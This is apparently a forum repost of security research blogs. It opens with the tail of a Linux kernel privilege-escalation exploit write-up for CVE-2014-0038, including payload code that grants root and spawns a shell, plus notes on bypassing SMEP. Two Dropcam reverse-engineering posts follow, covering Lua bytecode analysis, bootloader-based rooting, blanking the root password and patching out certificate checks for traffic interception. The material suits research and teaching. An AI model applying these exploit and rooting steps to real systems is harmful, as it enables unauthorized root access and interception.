(_prepare_kernel_cred)PREPARE_KERNEL_CRED; /* restore function pointer and following two longs */ *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; *((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 8)) = 0; *((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 16)) = 0; /* escalate to root */ commit_creds(prepare_kernel_cred(0)); return -1; } This is the function copied into the end of the allocated buffer at the beginning. The kernel will execute this code during the close syscall and then return back to user space. The kernel payload uses an old approach which has been documented by Brad Spengler (Spender) in his enlightenment framework [4] (see exploit.c). Basically, after restoring the manipulated memory region, a new cred structure with full privileges is allocated by prepare_kernel_cred and afterwards passed to commit_creds to install it upon the current task. Since the exploit needs to resolve the tty_release and ptmx_fops symbols anyways this approach was chosen. It would also be possible to change the credentials without calling any helper functions in the kernel. This can be done by looking for a pointer to the cred structure stored in the task_struct for the current process, which can in turn be found at the beginning of the kernel stack. By searching for memory that contains the current process uid and gid and setting those to zero, root privileges can be acquired as well. For an example demonstrating this technique refer to the semtex.c exploit [5]. Finishing if (getuid() != 0) { printf("failed to get root \n"); exit(EXIT_FAILURE); } printf("got root, enjoy \n"); return execl("/bin/bash", "-sh", NULL); Some notes on reliability Since the exploit relies on timing it might be unreliable if the exploited system is under very heavy load. If the kernel fails to reschedule the child process to wake up its parent on time (meaning within a second) the pointer will get corrupted and the exploit will fail, causing a kernel Oops. In this case a non-threaded exploit which clears the bytes sequentially can be used. You'd want to wait 255 seconds for each byte and this guarantees that the whole timespec structure will be zeroed out when waking up the parent. This approach takes 3 times longer as the parallel version though, so approximately 13 minutes [6]. I have tested the parallel version on a system under heavy load (100% CPU usage) multiple times and have not seen the exploit fail, so I assume this to be more of a theoretical issue (setting up the sockets and rescheduling a process within one second is really no big deal, even under stress). The original non-threaded version of this exploit in theory works reliably vs. the threaded version, but does take a while to execute. Exploit restrictions Since the exploit tricks the kernel into executing user space pages it can be stopped by SMEP [7]. SMEP will cause the CPU to generate a fault if it is executing code from a user space page in kernel mode. Think of SMEP as kind of a DEP/NX for the kernel. To bypass SMEP the 20th bit of CR4 can be cleared through a ROP chain. Afterwards executing code in user space is possible. This technique is described in further detail in [8]. If no gadgets can be found for writing to the CR4 register exploitation would still be possible by writing the payload in ROP entirely. Also see the post in [9]. That's it, find the full proof-of-concept exploit code at: https://github.com/saelo/cve-2014-0038 If you have interesting optimizations or alternative implementations let us know via email info/at\includesecurity.com References oss-sec: Linux 3.4+: arbitrary write with CONFIG_X86_X32 (CVE-2014-0038) x32 ABI - Wikipedia, the free encyclopedia http://www.phrack.org/issues.html?id=6&issue=64 http://grsecurity.net/~spender/exploits/enlightenment.tgz Linux PERF_EVENTS Local Root ? Packet Storm [C] recvmmsg.c - Pastebin.com Control register - Wikipedia, the free encyclopedia Positive Research Center: Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming Security Research by Dan Rosenberg Source
      • 1
      • Upvote
  20. In Part 1 & Part 2 of this RE blog series you saw how we reverse engineered the Dropcam and got access to the file system. In this final post of the series we'll examine some of the binaries found on the file system and play a bit with Lua code we found there. As usual we'll talk about some of the lessons learned from some failures in the analysis process as well as successes. We'll conclude with a release of a small tool that can aid reversers who are looking at Lua disassembly. The Lua code we found on the system is packed inside the Dropcam's /usr/connect binary which was obtained from the rooted Dropcam as described in our previous blog post (Part 2.) We unpacked the connect binary; it's compressed/packed with upx but that is trivial to undo. Once unpacked we loaded the binary in our trusty IDA and looked around a little bit. We noticed it was writing a file named /tmp/connect.bin and then running this command via a call to system(): rm -rf /tmp/connect && mkdir /tmp/connect && tar zx -f /tmp/connect.bin -C /tmp/connect && rm /tmp/connect.bin So it looks like /usr/bin/connect is decompressing a tar.gz file hidden inside the connect binary itself. The IDA screenshot below shows the function that writes the file and then calls the shell command. This function is called with the arguments 0x8393c (the address of the connect.bin data in memory) and 0x29203 (the length of the file): We extracted the file using dd: dd if=./connect.decompressed of=connect.tar.gz bs=1 skip=473404 count=168451 And then, we unpacked the .tar.gz file and took a look at what was there: $ ls -la total 808 drwxrwxrwx 1 nico staff 4096 Feb 21 15:20 . drwxrwxrwx 1 nico staff 4096 Nov 11 20:35 .. -rwxrwxrwx 1 nico staff 1504 Apr 23 2013 containers.bin -rwxrwxrwx 1 nico staff 5879 Apr 23 2013 decoder.bin -rwxrwxrwx 1 nico staff 1038 Apr 23 2013 descriptor.bin -rwxrwxrwx 1 nico staff 10376 Apr 23 2013 dispatch.bin -rwxrwxrwx 1 nico staff 54727 Apr 23 2013 droptalk_pb.bin -rwxrwxrwx 1 nico staff 9360 Apr 23 2013 encoder.bin -rwxrwxrwx 1 nico staff 1243 Apr 23 2013 hello.bin -rwxrwxrwx 1 nico staff 545 Apr 23 2013 hwver.bin -rwxrwxrwx 1 nico staff 4279 Apr 23 2013 ir.bin -rwxrwxrwx 1 nico staff 879 Apr 23 2013 list.bin -rwxrwxrwx 1 nico staff 615 Apr 23 2013 listener.bin -rwxrwxrwx 1 nico staff 650 Apr 23 2013 main.bin -rwxrwxrwx 1 nico staff 2363 Apr 23 2013 monitor.bin -rwxrwxrwx 1 nico staff 708 Apr 23 2013 motion.bin -rwxrwxrwx 1 nico staff 2010 Oct 29 19:48 net.bin -rwxrwxrwx 1 nico staff 2607 Apr 23 2013 oldiags.bin -rwxrwxrwx 1 nico staff 17536 Apr 18 2013 ov9715_01_3D_hwrev_1.bin -rwxrwxrwx 1 nico staff 17536 Apr 18 2013 ov9715_01_3D_hwrev_2.bin -rwxrwxrwx 1 nico staff 17536 Apr 18 2013 ov9715_02_3D_hwrev_1.bin -rwxrwxrwx 1 nico staff 17536 Apr 18 2013 ov9715_02_3D_hwrev_2.bin -rwxrwxrwx 1 nico staff 17536 Apr 18 2013 ov9715_03_3D_hwrev_1.bin -rwxrwxrwx 1 nico staff 17536 Apr 18 2013 ov9715_03_3D_hwrev_2.bin -rwxrwxrwx 1 nico staff 17536 Apr 18 2013 ov9715_04_3D_hwrev_1.bin -rwxrwxrwx 1 nico staff 17536 Apr 18 2013 ov9715_04_3D_hwrev_2.bin -rwxrwxrwx 1 nico staff 3280 Apr 23 2013 persistence.bin -rwxrwxrwx 1 nico staff 329 Apr 23 2013 platform.bin -rwxrwxrwx 1 nico staff 3365 Apr 23 2013 platform_a5s.bin -rwxrwxrwx 1 nico staff 551 Apr 23 2013 platform_local.bin -rwxrwxrwx 1 nico staff 20750 Apr 23 2013 protobuf.bin -rwxrwxrwx 1 nico staff 191 Apr 23 2013 rtp.bin -rwxrwxrwx 1 nico staff 643 Apr 23 2013 settings.bin -rwxrwxrwx 1 nico staff 9931 Apr 23 2013 states.bin -rwxrwxrwx 1 nico staff 912 Apr 23 2013 status.bin -rwxrwxrwx 1 nico staff 3822 Apr 23 2013 streams.bin -rwxrwxrwx 1 nico staff 1505 Apr 23 2013 text_format.bin -rwxrwxrwx 1 nico staff 1525 Apr 23 2013 type_checkers.bin -rwxrwxrwx 1 nico staff 3047 Apr 23 2013 update.bin -rwxrwxrwx 1 nico staff 601 Apr 23 2013 usb.bin -rwxrwxrwx 1 nico staff 2602 Apr 23 2013 util.bin -rwxrwxrwx 1 nico staff 1468 Apr 23 2013 watchdog.bin -rwxrwxrwx 1 nico staff 3620 Apr 23 2013 wire_format.bin Inspecting the first .bin file we see these are Lua byte-code files. The first five bytes were those of a Lua Bytecode Header: +------------------------+ | 1B | 4C | 75 | 61 | 52 | => Lua 0x52 +------------------------+ These files contain compiled Lua bytecode that supplements the logic in the connect binary. From the initial examination, we saw the bytecode was Lua 5.2 bytecode. The structure of a Lua bytecode file is extensively documented; we'll just cover the necessary information in this post (for a quick overview take a look at this link). Of course we'd like to know what functionality is hidden in these files so we tried every decompiler we could get our hands on. Unfortunately they all complained about the byte-code version or died trying to interpret the bytes on the files. This is because the decompilers weren't up-to-date for Lua 5.2. This version of Lua adds a couple of instructions to the VM but the semantics and the byte-code format seems to be the same. Here were some of the decompilers we tried (among others): LuaDec https://github.com/sztupy/luadec51/wiki unluac | SourceForge.net ChunkSpy: a Lua 5 binary chunk disassembler -- khman Considering this, we tried to hack up the files to trick the decompilers into working with our target files but alas, nothing seemed to be working, the decompilers just died with errors stating that the chunk of code did not correspond to valid Lua code. Note: Pay careful attention to endianness when hacking up byte code files. We even considered patching a tool like unluac to support Lua 5.2 bytecode as this looked like the most mature out of the ones we tried, but this wouldn't be a trivial task and would require major surgery. Unluac and others weren't going anywhere without a major patch and we didn't have much time so we went lower-level to a bytecode disassembler. Enter: LuaAssemblyTools(LAT) - https://github.com/mlnlover11/LuaAssemblyTools. This Lua library allowed us to parse and disassemble the byte-code regardless of version and/or endianness. We were able to decompile the Lua 5.2 byte-code used in the connect binary into LASM (a LAT representation of Lua VM's instructions). Now we have disassembly, but it's ugly -- like DNSSec level of ugly. So our next challenge was what to do with the dissasembled code. The way tables and constants are handled in Lua's VM is great for machine consumption but human readable it is not! How many levels of indirection can one really keep track of in their head at the same time? Using LAT's LASM Decompiler we disassembled descriptor.bin into this: ; Decompiled to lasm by LASM Decompiler v1.0 ; Decompiler Copyright (C) 2012 LoDC ; Main code .name "" .options 0 0 1 2 ; Above contains: Upvalue count, Argument count, Vararg flag, Max Stack Size ; Constants .const "module" .const "descriptor" .const "FieldDescriptor" .const "TYPE_DOUBLE" .const 1 .const "TYPE_FLOAT" .const 2 .const "TYPE_INT64" .const 3 .const "TYPE_UINT64" .const 4 .const "TYPE_INT32" .const 5 .const "TYPE_FIXED64" .const 6 .const "TYPE_FIXED32" .const 7 .const "TYPE_BOOL" .const 8 .const "TYPE_STRING" .const 9 .const "TYPE_GROUP" .const 10 .const "TYPE_MESSAGE" .const 11 .const "TYPE_BYTES" .const 12 .const "TYPE_UINT32" .const 13 .const "TYPE_ENUM" .const 14 .const "TYPE_SFIXED32" .const 15 .const "TYPE_SFIXED64" .const 16 .const "TYPE_SINT32" .const 17 .const "TYPE_SINT64" .const 18 .const "MAX_TYPE" .const "CPPTYPE_INT32" .const "CPPTYPE_INT64" .const "CPPTYPE_UINT32" .const "CPPTYPE_UINT64" .const "CPPTYPE_DOUBLE" .const "CPPTYPE_FLOAT" .const "CPPTYPE_BOOL" .const "CPPTYPE_ENUM" .const "CPPTYPE_STRING" .const "CPPTYPE_MESSAGE" .const "MAX_CPPTYPE" .const "LABEL_OPTIONAL" .const "LABEL_REQUIRED" .const "LABEL_REPEATED" .const "MAX_LABEL" ; Upvalues .upval '' 1 0 ; Instructions gettabup 0 0 256 loadk 1 1 call 0 2 1 newtable 0 0 25 settable 0 259 260 settable 0 261 262 settable 0 263 264 settable 0 265 266 settable 0 267 268 settable 0 269 270 settable 0 271 272 settable 0 273 274 settable 0 275 276 settable 0 277 278 settable 0 279 280 settable 0 281 282 settable 0 283 284 settable 0 285 286 settable 0 287 288 settable 0 289 290 settable 0 291 292 settable 0 293 294 settable 0 295 294 settable 0 296 260 settable 0 297 262 settable 0 298 264 settable 0 299 266 settable 0 300 268 settable 0 301 270 settable 0 302 272 settable 0 303 274 settable 0 304 276 settable 0 305 278 settable 0 306 278 settable 0 307 260 settable 0 308 262 settable 0 309 264 settable 0 310 264 settabup 0 258 0 return 0 1 0 To understand this as quick as possible we need something to make LASM a bit more sane, time to write some code to do it ourselves! Lua is a register-based virtual machine so that makes our life a little easier. We made an easy script that rewrites the LASM code into something more human readable. It organizes the disassembly to a much more readable code display form, so consider the output of this tool somewhere in the middle of the spectrum between a straight disassembler and a decompiler (restructured disassembly?) If you're interested to learn more, here are a few presentations showing the internals of a Lua VM that came in handy for this task (http://luaforge.net/docman/83/98/ANoFrillsIntroToLua51VMInstructions.pdf and Programming in Lua were a huge help). The resulting code from our tool can't be compiled (so it's not a true decompiler) but it was so much easier to follow than a straight disassembly. You can find the tool published on our Github here. Here we can see the description.bin output after using our LasmRewriter.py script: function main(...) module(descriptor) regs[0] = [] regs[0][TYPE_DOUBLE] = 1 regs[0][TYPE_FLOAT] = 2 regs[0][TYPE_INT64] = 3 regs[0][TYPE_UINT64] = 4 regs[0][TYPE_INT32] = 5 regs[0][TYPE_FIXED64] = 6 regs[0][TYPE_FIXED32] = 7 regs[0][TYPE_BOOL] = 8 regs[0][TYPE_STRING] = 9 regs[0][TYPE_GROUP] = 10 regs[0][TYPE_MESSAGE] = 11 regs[0][TYPE_BYTES] = 12 regs[0][TYPE_UINT32] = 13 regs[0][TYPE_ENUM] = 14 regs[0][TYPE_SFIXED32] = 15 regs[0][TYPE_SFIXED64] = 16 regs[0][TYPE_SINT32] = 17 regs[0][TYPE_SINT64] = 18 regs[0][MAX_TYPE] = 18 regs[0][CPPTYPE_INT32] = 1 regs[0][CPPTYPE_INwhT64] = 2 regs[0][CPPTYPE_UINT32] = 3 regs[0][CPPTYPE_UINT64] = 4 regs[0][CPPTYPE_DOUBLE] = 5 regs[0][CPPTYPE_FLOAT] = 6 regs[0][CPPTYPE_BOOL] = 7 regs[0][CPPTYPE_ENUM] = 8 regs[0][CPPTYPE_STRING] = 9 regs[0][CPPTYPE_MESSAGE] = 10 regs[0][MAX_CPPTYPE] = 10 regs[0][LABEL_OPTIONAL] = 1 regs[0][LABEL_REQUIRED] = 2 regs[0][LABEL_REPEATED] = 3 regs[0][MAX_LABEL] = 3 return regs[0] end This gets the disassembly to the point where we can easily understand it, compared to what we had before which was just horrible. Now that we can disassemble the files we see that they control the logic of the device, but the hardware access is done at a lower level. More so, the System-on-a-Chip has some interesting features like setting up the parameters of your video input and output and the image post-processing is done by the hardware which is much more efficient. Lua on an embedded devices such as Dropcam is compact and safer to write than C, so that's a good idea from the security front. The Linux kernel and it's device drivers running on the device take care of everything real-time related and they expose this functionality to Lua the Unix way i.e. everything is a file. You can open a /dev/ file to access the stream of video and manipulate camera functionality. Everything for image conversion, filtering, etc. is taken care of in the low-level drivers. (Note: a bit more detail on this topic can be be found in SynAck's recent presentation which was published after the research you're reading in this blog-post was conducted.) This way of using Lua on embedded devices is a little different than project like eLua (eLua - eluaproject) which takes the Lua VM and make it run on small embedded devices (to check the supported CPUs click Overview - Status - eluaproject). We've seen that used on other embedded devices we hack on. Well that's the conclusion of this blog post series, we hope you got a bit of insight into reversing embedded devices. We didn't publish any 0day vulns in these posts, 0days are a given in every product if you look hard enough, this blog series was meant to give the beginner/intermediate IoT reverser some guidance Source
  21. In the last Dropcam post, I wrote about reversing the USB setup procedure that the Dropcam uses to initially connect to your WiFi network. After exploring the USB tunneling protocol, the next step was to take it apart, or at least take off the back of the enclosure: The main controller is an Ambarella A5s system-on-chip, which contains an ARM processor, video processing hardware, USB device controller, and other peripherals. We had actually already guessed that the Dropcam used an Amborella chip based on the iManufacturer USB descriptor field value “Linux 2.6.38.8 with ambarella_udc”. Ambarella chips are also used in GoPro cameras. Quite a bit of work has been done reversing GoPro cameras by other researchers. One researcher, who goes by evilwombat, has done some particularly interesting work, including writing a firmware parser and tools that can be used to load custom code onto GoPro cameras over the USB port, which can be found at his Github page (https://github.com/evilwombat?tab=repositories). Here's a picture of the Dropcam with some of the components identified: The most useful thing to identify was the UART (serial) port (zoomed in the picture above, and labeled with TX, RX, 3.3v, and GND). Upon examining the board, that 4-pin footprint looked suspiciously like a serial port. One pad was connected to ground, and another was connected to a thick trace meaning it was likely a power connection, and it is in fact at 3.3v when the camera is powered on. The other two pads were connected to resistors via small traces and they were both at 3.3v with the camera powered on. This is consistent with an embedded system serial port – UARTs usually are at a “high” voltage level when they are idle; the TX line would be high because no data was being transmitted and the RX line would be pulled high when no input is connected. I tried connecting the RX line of a serial adapter to each of the two pads and found that when I configured the adapter for a baudrate of 115200 and powered the Dropcam, I could see Linux boot messages being transmitted: [ 0.000000] Linux version 2.6.38.8 (dropcambuild@ubuntu-dropcam-build) (gcc version 4.5.2 (Sourcery G++ Lite 2011.03-41) ) #15 PREEMPT Mon Oct 1 16:59:51 PDT 2012 [ 0.000000] CPU: ARMv6-compatible processor [4117b365] revision 5 (ARMv6TEJ), cr=00c5387f [ 0.000000] CPU: VIPT nonaliasing data cache, VIPT nonaliasing instruction cache [ 0.000000] Machine: Coconut [ 0.000000] Memory policy: ECC disabled, Data cache writeback [ 0.000000] Ambarella: AHB = 0x60000000[0xf0000000],0x01000000 0 [ 0.000000] Ambarella: APB = 0x70000000[0xf1000000],0x01000000 0 [ 0.000000] Ambarella: PPM = 0xc0000000[0xe0000000],0x00200000 9 [ 0.000000] Ambarella: BSB = 0xc8c00000[0xe8c00000],0x00400000 9 [ 0.000000] Ambarella: DSP = 0xc9000000[0xe9000000],0x07000000 9 [ 0.000000] Ambarella: HAL = 0xc00a0000[0xfee00000],0x00009f34 9 [ 0.000000] bootmem_init: high_memory = 0xc8a00000 [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 35052 [ 0.000000] Kernel command line: console=ttyS0 ubi.mtd=lnx root=ubi0:rootfs rw rootfstype=ubifs init=/linuxrc [ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes) [ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes) [ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes) [ 0.000000] Memory: 138MB = 138MB total [ 0.000000] Memory: 136244k/136244k available, 5068k reserved, 0K highmem (etc.) Once I had identified the TX and RX pads and successfully received some data, I soldered some wires to those pads and brought them out of the case so that I could access the serial port with the Dropcam assembled: After the boot messages, there is eventually a login prompt: ######## ######## ####### ######## ###### ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ### ## ## ## ## ## ## ## ## ## ## ## #### #### ## ## ######## ## ## ######## ## ## ## ## ### ## ## ## ## ## ## ## ## ## ######### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######## ## ## ####### ## ###### ## ## ## ## Ambarella login: Getting root via the Ambarella bootloader Unfortunately, I didn't know the root password. I tried logging in as root with a few guessed passwords, but none of them worked. I was considering different ways to dump or modify the Flash chip contents when I happened upon a solution on a forum. After reading some posts on one of the GoPro forums I tried a trick mentioned there to get a bootloader prompt – transmitting a newline immediately upon powering the device on is the key. If you hold down the “Enter” key, repeatedly sending newlines to the serial connection while powering the Dropcam, you can access to the Ambarella bootloader: ___ ___ _________ _ / _ \ | \/ || ___ \ | | / /_\ \| . . || |_/ / ___ ___ | |_ | _ || |\/| || ___ \ / _ \ / _ \ | __| | | | || | | || |_/ /| (_) || (_) || |_ \_| |_/\_| |_/\____/ \___/ \___/ \__| ---------------------------------------------------------- Amboot(R) Ambarella(R) Copyright (C) 2004-2007 BST (137166), HAL (137166) Arm freq: 480000000 iDSP freq: 120000000 Core freq: 120000000 Dram freq: 336000000 AHB freq: 120000000 APB freq: 60000000 amboot> amboot> amboot> amboot> amboot> amboot> amboot> amboot> amboot> amboot> amboot> amboot> amboot> amboot> help The following commands are supported: help bios boot diag dump erase nand_erase exec hal hotboot netboot ping r8 r16 r32 reboot reset setenv setmem show usbdl w8 w16 w32 xmdl bapi Use 'help' to get help on a specific command amboot> Once you have access to the bootloader, rooting the Dropcam is just like getting root on any Linux computer where you have access to the bootloader. You can copy the kernel command line shown in the boot messages: console=ttyS0 ubi.mtd=lnx root=ubi0:rootfs rw rootfstype=ubifs init=/linuxrc And change the init parameter to start a shell: amboot> boot console=ttyS0 ubi.mtd=lnx root=ubi0:rootfs rw rootfstype=ubifs init=/bin/sh After doing this and watching the kernel boot again, I was left with a root shell: [ 3.130000] UBIFS: reserved for root: 0 bytes (0 KiB) [ 3.130000] VFS: Mounted root (ubifs filesystem) on device 0:13. [ 3.140000] Freeing init memory: 136K /bin/sh: can't access tty; job control turned off / # My goal was to edit the /etc/shadow file so that I could log in to the camera after a normal boot. Interestingly, the /etc/shadow file on the Dropcam is a link to /mnt/dropcam/shadow: / # ls -l /etc/shadow lrwxrwxrwx 1 root root 21 Oct 1 2012 /etc/shadow -> ../mnt/dropcam/shadow You therefore need to mount the /mnt/dropcam filesystem to access the shadow file: / # cat /etc/fstab # /etc/fstab: static file system information. # # <file system> <mount pt> <type> <options> <dump> <pass> #/dev/root / ext2 rw,noauto 0 1 #proc /proc proc defaults 0 0 devpts /dev/pts devpts defaults,gid=5,mode=620 0 0 #tmpfs /tmp tmpfs defaults 0 0 sysfs /sys sysfs defaults 0 0 debugfs /debug debugfs defaults 0 0 # extra mounts /dev/mtdblock9 /mnt/dropcam jffs2 defaults 0 0 / # mount -tjffs2 /dev/mtdblock9 /mnt/dropcam And then remove the password hashes from it: / # cat /mnt/dropcam/shadow root::10933:0:99999:7::: bin:*:10933:0:99999:7::: daemon:*:10933:0:99999:7::: adm:*:10933:0:99999:7::: lp:*:10933:0:99999:7::: sync:*:10933:0:99999:7::: shutdown:*:10933:0:99999:7::: halt:*:10933:0:99999:7::: uucp:*:10933:0:99999:7::: operator:*:10933:0:99999:7::: nobody:*:10933:0:99999:7::: default::10933:0:99999:7::: The /mnt/dropcam filesystem is interesting because it appears to be where camera-specific configuration files are stored: / # ls /mnt/dropcam/ bpcmap.bin keycert.pem softmac fv.txt provisioned wpa_supplicant.conf hwver shadow This implies that different cameras might have different root passwords. The wpa_supplicant.conf file contains the configuration for the wireless network. Most interesting of these files, however, is the keycert.pem file, which contains a public/private RSA key pair and a client certificate. The certificate is issued by a “Dropcam Certificate Authority”, and the common name is set to the unique ID of my Dropcam (the same identifier used to set up the camera and view its stream, as discussed in my previous post): $ openssl x509 -in keycert.pem -noout -text | grep CN Issuer: C=US, CN=Dropcam Certificate Authority, O=Dropcam Subject: C=US, CN=d024378182da4f37b0e981946989f40a, O=Dropcam This means that each Dropcam has a unique client certificate that it uses to authenticate to the Dropcam cloud servers. Exploring the running device Now that I had modified the shadow file, I was able to log in as root without a password and inspect the system after it had booted normally: # ps PID USER TIME COMMAND 1 root 0:02 init 2 root 0:00 [kthreadd] 3 root 0:00 [ksoftirqd/0] 4 root 0:00 [kworker/0:0] 5 root 0:00 [kworker/u:0] 6 root 0:00 [khelper] 7 root 0:00 [kworker/u:1] 402 root 0:00 [sync_supers] 404 root 0:00 [bdi-default] 406 root 0:00 [kblockd] 513 root 0:00 [kswapd0] 514 root 0:00 [fsnotify_mark] 515 root 0:00 [aio] 517 root 0:00 [crypto] 558 root 0:00 [mtdblock0] 563 root 0:00 [mtdblock1] 568 root 0:00 [mtdblock2] 573 root 0:00 [mtdblock3] 578 root 0:00 [mtdblock4] 583 root 0:00 [mtdblock5] 588 root 0:00 [mtdblock6] 593 root 0:00 [mtdblock7] 598 root 0:00 [mtdblock8] 603 root 0:00 [mtdblock9] 611 root 0:00 [ubi_bgt0d] 628 root 0:00 [ubifs_bgt0_0] 629 root 0:00 [kworker/0:1] 643 root 0:00 [flush-ubifs_0_0] 646 root 0:00 [jffs2_gcd_mtd9] 699 root 0:00 [kworker/u:2] 735 root 0:00 /bin/ash /usr/bin/bootstrap.sh 736 root 0:00 -sh 738 root 0:00 syslogd -C128 -S 740 root 0:00 klogd 743 root 0:00 /usr/bin/connect 744 root 0:00 logger -t connect 745 root 0:00 /usr/bin/connect 746 root 0:00 /usr/bin/connect 760 root 0:00 [file-storage] 772 root 0:00 [kworker/0:2] 784 root 0:00 [cfg80211] 804 root 0:00 [AR6K Async] 811 root 0:00 [ksdioirqd/mmc1] 822 root 0:00 wpa_supplicant -iwlan0 -c/mnt/dropcam/wpa_supplicant.conf 829 root 0:00 [dsplogd] 830 root 0:00 [vsyncd] 860 root 0:00 [sh] 861 root 0:00 [sh] 868 root 0:00 ps The /usr/bin/connect binary performs most of the operations of the Dropcam. It handles the TLS connections made out to Dropcam cloud servers (which, based on strings in the connect binary, carry a protocol named droptalk). It also handles loading and unloading the kernel driver, as well as the userspace portions of the USB mass storage network tunnel (which again, based on strings in the binary, is named FSNL). The connect binary is UPX packed, but it can be unpacked easily: $ strings connect | tail -1 UPX! $ upx -d connect Ultimate Packer for eXecutables Copyright (C) 1996 - 2013 UPX 3.09 Markus Oberhumer, Laszlo Molnar & John Reiser Feb 18th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- 789596 <- 420052 53.20% linux/armel connect Unpacked 1 file. One thing that we noticed when looking at this binary was that it contains references to the Lua scripting language. We weren't sure why until we saw that it was writing to a file named /tmp/connect.bin and then running this command via a call to system(): rm -rf /tmp/connect && mkdir /tmp/connect && tar zx -f /tmp/connect.bin -C /tmp/connect && rm /tmp/connect.bin The connect binary itself contains an embedded tarball that gets extracted to /tmp/connect when it runs. The tarball contains an assortment of files including a number of compiled Lua scripts: $ dd if=./connect of=connect.tar.gz bs=1 skip=473404 count=168451 168451+0 records in 168451+0 records out 168451 bytes (168 kB) copied, 0.364475 s, 462 kB/s $ tar -tzvf connect.tar.gz -rw-r--r-- dropcambuild/dropcambuild 10376 2013-04-22 20:25 dispatch.bin -rw-r--r-- dropcambuild/dropcambuild 1243 2013-04-22 20:25 hello.bin -rw-r--r-- dropcambuild/dropcambuild 545 2013-04-22 20:25 hwver.bin -rw-r--r-- dropcambuild/dropcambuild 4279 2013-04-22 20:25 ir.bin -rw-r--r-- dropcambuild/dropcambuild 879 2013-04-22 20:25 list.bin -rw-r--r-- dropcambuild/dropcambuild 650 2013-04-22 20:25 main.bin -rw-r--r-- dropcambuild/dropcambuild 2363 2013-04-22 20:25 monitor.bin -rw-r--r-- dropcambuild/dropcambuild 708 2013-04-22 20:25 motion.bin -rw-r--r-- dropcambuild/dropcambuild 2010 2013-04-22 20:25 net.bin -rw-r--r-- dropcambuild/dropcambuild 2607 2013-04-22 20:25 oldiags.bin -rw-r--r-- dropcambuild/dropcambuild 3280 2013-04-22 20:25 persistence.bin -rw-r--r-- dropcambuild/dropcambuild 329 2013-04-22 20:25 platform.bin -rw-r--r-- dropcambuild/dropcambuild 3365 2013-04-22 20:25 platform_a5s.bin -rw-r--r-- dropcambuild/dropcambuild 551 2013-04-22 20:25 platform_local.bin -rw-r--r-- dropcambuild/dropcambuild 822 2013-04-22 20:25 ravg.bin -rw-r--r-- dropcambuild/dropcambuild 191 2013-04-22 20:25 rtp.bin -rw-r--r-- dropcambuild/dropcambuild 643 2013-04-22 20:25 settings.bin -rw-r--r-- dropcambuild/dropcambuild 9931 2013-04-22 20:25 states.bin -rw-r--r-- dropcambuild/dropcambuild 912 2013-04-22 20:25 status.bin -rw-r--r-- dropcambuild/dropcambuild 3822 2013-04-22 20:25 streams.bin -rw-r--r-- dropcambuild/dropcambuild 3047 2013-04-22 20:25 update.bin -rw-r--r-- dropcambuild/dropcambuild 601 2013-04-22 20:25 usb.bin -rw-r--r-- dropcambuild/dropcambuild 2602 2013-04-22 20:25 util.bin -rw-r--r-- dropcambuild/dropcambuild 1468 2013-04-22 20:25 watchdog.bin -rw-r--r-- dropcambuild/dropcambuild 54727 2013-04-22 20:25 droptalk_pb.bin -rw-r--r-- dropcambuild/dropcambuild 1504 2013-04-22 20:25 containers.bin -rw-r--r-- dropcambuild/dropcambuild 5879 2013-04-22 20:25 decoder.bin -rw-r--r-- dropcambuild/dropcambuild 1038 2013-04-22 20:25 descriptor.bin -rw-r--r-- dropcambuild/dropcambuild 9360 2013-04-22 20:25 encoder.bin -rw-r--r-- dropcambuild/dropcambuild 615 2013-04-22 20:25 listener.bin -rw-r--r-- dropcambuild/dropcambuild 20750 2013-04-22 20:25 protobuf.bin -rw-r--r-- dropcambuild/dropcambuild 1505 2013-04-22 20:25 text_format.bin -rw-r--r-- dropcambuild/dropcambuild 1525 2013-04-22 20:25 type_checkers.bin -rw-r--r-- dropcambuild/dropcambuild 3620 2013-04-22 20:25 wire_format.bin -rw-r--r-- dropcambuild/dropcambuild 1686 2013-04-22 17:24 a5s_boot.sh -rw-r--r-- dropcambuild/dropcambuild 78 2013-04-18 16:45 wpa_supplicant_a5s.conf -rwxr-xr-x dropcambuild/dropcambuild 1286 2013-04-18 16:45 udhcpc.script -rwxr-xr-x dropcambuild/dropcambuild 1310 2013-04-18 16:45 udhcpc_provision.script -rw-r--r-- dropcambuild/dropcambuild 17536 2013-04-18 16:45 ov9715_01_3D_hwrev_1.bin -rw-r--r-- dropcambuild/dropcambuild 17536 2013-04-18 16:45 ov9715_01_3D_hwrev_2.bin -rw-r--r-- dropcambuild/dropcambuild 17536 2013-04-18 16:45 ov9715_02_3D_hwrev_1.bin -rw-r--r-- dropcambuild/dropcambuild 17536 2013-04-18 16:45 ov9715_02_3D_hwrev_2.bin -rw-r--r-- dropcambuild/dropcambuild 17536 2013-04-18 16:45 ov9715_03_3D_hwrev_1.bin -rw-r--r-- dropcambuild/dropcambuild 17536 2013-04-18 16:45 ov9715_03_3D_hwrev_2.bin -rw-r--r-- dropcambuild/dropcambuild 17536 2013-04-18 16:45 ov9715_04_3D_hwrev_1.bin -rw-r--r-- dropcambuild/dropcambuild 17536 2013-04-18 16:45 ov9715_04_3D_hwrev_2.bin -rw-r--r-- dropcambuild/dropcambuild 27453 2013-04-18 16:45 ambarella_udc-pre-v16.ko -rwxr-xr-x dropcambuild/dropcambuild 86828 2013-04-18 16:45 wmiconfig We'll have another blog post coming up detailing how to reverse engineer those compiled Lua scripts, with a tool to make the RE work easier. Transport encryption and exploring traffic interception I wanted to perform a man-in-the-middle attack so that I could decode the TLS traffic from the camera. Every Dropcam has its own client certificate issued by the Dropcam CA; with a copy of my camera's client certificate I could start a TLS connection to the Dropcam servers, but I couldn't yet convince the connect binary to connect to me. In order to perform the man-in-the-middle attack, the simplest option was to patch the server certificate checking code out of the connect binary. This involved flipping one bit in the unpacked binary, re-packing it, and uploading it to the camera. The droptalk transport layer has decent protection against eavesdropping attacks. It uses an OpenSSL TLSv1 connection with ephemeral elliptic curve Diffie-Hellman (ECDHE) key exchange, and either 128 or 256 bit AES encryption. This is the list of the two cipher suites that the connect binary will accept for the droptalk connection: 